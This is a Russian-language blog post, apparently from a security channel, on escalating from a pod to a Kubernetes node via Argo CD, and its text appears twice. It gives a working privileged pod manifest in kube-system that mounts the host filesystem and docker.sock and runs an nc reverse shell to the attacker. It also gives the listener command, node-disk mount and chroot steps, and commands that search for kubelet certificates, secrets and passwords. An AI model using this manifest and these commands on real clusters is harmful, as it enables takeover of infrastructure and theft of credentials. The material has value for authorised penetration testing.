Всем привет.
Недавно гулял по просторам LIMB и наткнулся на интересную статью про получение первоначального доступа в кластер Kubernetes. Статья интересная, автору респект, всем рекомендую, тему хочется развить.
Почему доступ к поду – мало?
Чтобы ответить на этот вопрос, нужно понимать, как устроен кластер Kubernetes. Он состоит из:
Master-ноды, которая включает
Worker-нод:
Наша цель-максимум – мастер-нода.
Мы делили апельсин, много наших полегло
Проблема в том, что разработчики Argo CD, да и самого кубера, позаботились о том, чтобы стать кластер админом в лоб было нельзя: из манифестов Argo автоматически удаляются пароли и конфиги, да и взять и закинуть шелл на мастер ноду не дают. К тому же политика кластера может быть урезанная (к примеру, по умолчанию создавать привилегированные поды через Argo CD нельзя). С горем пополам был написан манифест, который пытается взять из этой жизни максимум:
Из основного:
Под создается в системном пространстве имен kube-system.
privileged: true - полный root на хосте (вряд ли сработает, но почему бы и не попробовать)
runAsUser: 0 - запускается от root (UID 0)
capabilities: add SYS_ADMIN – позволяет выполнять монтирование, ALL – всё, но может и не сработать
hostNetwork: true - использует сеть хоста (видит все интерфейсы, порты)
hostPID: true - видит все процессы хоста (ps aux, kill, strace)
hostIPC: true - доступ к IPC хоста (IPC - межпроцессное взаимодействие)
volumes: - name: host-root hostPath: path: / - монтирует файловую систему хоста
serviceAccountName: service-account-controller – системный аккаунт с относительно широкими правами (пробовал другие аккаунты – без выдающихся успехов, рекомендую этот).
Чтобы шелл прилетел, нужно так же как и в вышеупомянутой статье – перед синхронизацией с репозиторием запустить на своем VPSe листенер:
Что изменилось
Чтобы посмотреть, к чему мы имеем доступ, достаточно посмотреть процессы. С манифестом из другой статьи было так:
Стало так:
Ищем лозейки
Типичные скрипты для автоматического поиска уязвимостей и мисконфигов работают не всегда. Вот что, например, на тестовом доступе говорит kube-hunter:
Он дает много информации, но финальный вердикт – уязвимостей нет. Разумеется, это частный случай, при желании вы всегда можете запустить тулзу сами. Для alpine, который создается нашим манифестом, это делается так:
Монтируем ноду
Нам будет полезно получить доступ к файловой системе ноды – там тоже могут храниться секреты, из нее в теории можно управлять контейнерами.
Таким образом попадаем в файловую систему хоста. Результат на лицо – до этого мы были в созданном поде на ОС Alpine, теперь – нода на Linux.
Что можно посмотреть
Дальше - дело фантазии. Вот примеры команд, которые могут вам пригодиться:
Пример:
Вся информация представлена в образовательных целях и для повышения осведомленности в области безопасности. Проводите тестирование на проникновение только с явного письменного разрешения владельца целевой системы.
Недавно гулял по просторам LIMB и наткнулся на интересную статью про получение первоначального доступа в кластер Kubernetes. Статья интересная, автору респект, всем рекомендую, тему хочется развить.
Почему доступ к поду – мало?
Чтобы ответить на этот вопрос, нужно понимать, как устроен кластер Kubernetes. Он состоит из:
Master-ноды, которая включает
- kube-apiserver - фронтенд кластера
- etcd - хранилище данных (там лежат все секреты и конфиги)
- kube-scheduler - планировщик задач
- kube-controller-manager - контроллеры управления состоянием
Worker-нод:
- kubelet - агент на ноде
- kube-proxy - сетевой прокси
- Container runtime (docker, containerd)
- Pods - рабочие нагрузки. Каждый под содержит один или несколько контейнеров, имеет свой сетевой интерфейс.
Наша цель-максимум – мастер-нода.
Мы делили апельсин, много наших полегло
Проблема в том, что разработчики Argo CD, да и самого кубера, позаботились о том, чтобы стать кластер админом в лоб было нельзя: из манифестов Argo автоматически удаляются пароли и конфиги, да и взять и закинуть шелл на мастер ноду не дают. К тому же политика кластера может быть урезанная (к примеру, по умолчанию создавать привилегированные поды через Argo CD нельзя). С горем пополам был написан манифест, который пытается взять из этой жизни максимум:
Yaml
apiVersion: v1
kind: Pod
metadata:
name: reverse-shell-pod
namespace: kube-system
spec:
containers:
- name: shell-container
image: alpine
securityContext:
privileged: true
runAsUser: 0
capabilities:
add:
- SYS_ADMIN
- NET_ADMIN
- SYS_PTRACE
- SYS_MODULE
- ALL
command: ["/bin/sh", "-c"]
args:
- |
apk add curl --no-cache;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
serviceAccountName: service-account-controller
automountServiceAccountToken: true
hostNetwork: true
hostPID: true
hostIPC: true
volumes:
- name: host-root
hostPath:
path: /
- name: docker-sock
hostPath:
path: /var/run/docker.sock
- name: proc
hostPath:
path: /proc
Из основного:
Под создается в системном пространстве имен kube-system.
privileged: true - полный root на хосте (вряд ли сработает, но почему бы и не попробовать)
runAsUser: 0 - запускается от root (UID 0)
capabilities: add SYS_ADMIN – позволяет выполнять монтирование, ALL – всё, но может и не сработать
hostNetwork: true - использует сеть хоста (видит все интерфейсы, порты)
hostPID: true - видит все процессы хоста (ps aux, kill, strace)
hostIPC: true - доступ к IPC хоста (IPC - межпроцессное взаимодействие)
volumes: - name: host-root hostPath: path: / - монтирует файловую систему хоста
serviceAccountName: service-account-controller – системный аккаунт с относительно широкими правами (пробовал другие аккаунты – без выдающихся успехов, рекомендую этот).
Чтобы шелл прилетел, нужно так же как и в вышеупомянутой статье – перед синхронизацией с репозиторием запустить на своем VPSe листенер:
Bash
nc -nlvp port
Что изменилось
Чтобы посмотреть, к чему мы имеем доступ, достаточно посмотреть процессы. С манифестом из другой статьи было так:
Не удалось прогрузить медиа
Стало так:
Не удалось прогрузить медиа
Ищем лозейки
Типичные скрипты для автоматического поиска уязвимостей и мисконфигов работают не всегда. Вот что, например, на тестовом доступе говорит kube-hunter:
Не удалось прогрузить медиа
Он дает много информации, но финальный вердикт – уязвимостей нет. Разумеется, это частный случай, при желании вы всегда можете запустить тулзу сами. Для alpine, который создается нашим манифестом, это делается так:
Bash
apk add git
apk add python3 py3-pip
git clone https://github.com/aquasecurity/kube-hunter.git
cd kube-hunter
pip3 install . --break-system-packages
Монтируем ноду
Нам будет полезно получить доступ к файловой системе ноды – там тоже могут храниться секреты, из нее в теории можно управлять контейнерами.
Bash
apk add lsblk
lsblk
mkdir /machine
mount /dev/nvme0n1p1 /machine
chroot /machine bash
mount -t proc proc /proc # чтобы видеть процессы
Не удалось прогрузить медиа
Таким образом попадаем в файловую систему хоста. Результат на лицо – до этого мы были в созданном поде на ОС Alpine, теперь – нода на Linux.
Что можно посмотреть
Дальше - дело фантазии. Вот примеры команд, которые могут вам пригодиться:
ls /var/lib/kubelet/pki - посмотреть сертификаты kubeletls /etc/kubernetes/kubelet/config.json.d - конфигурация нодыfind /var/lib/kubelet/pods -name "*.db" -o -name "*.sql" 2>/dev/null - искать базы данных в других подахfind /var/lib/kubelet/pods -name "*secret*" -type f 2>/dev/null - паттерн для поиска секретовchroot /host netstat -tupn | grep -E "(5432|3306|27017)" - посмотреть сетевую активность хоста (связанную с базами данных)find /var/lib/kubelet/pods -name "*.yaml" -o -name "*.properties" | xargs grep -l "database\|password" 2>/dev/null - искать конфиги приложенийПример:
Не удалось прогрузить медиа
Вся информация представлена в образовательных целях и для повышения осведомленности в области безопасности. Проводите тестирование на проникновение только с явного письменного разрешения владельца целевой системы.
👍68
❤️12
😁13
🤔11
LIMB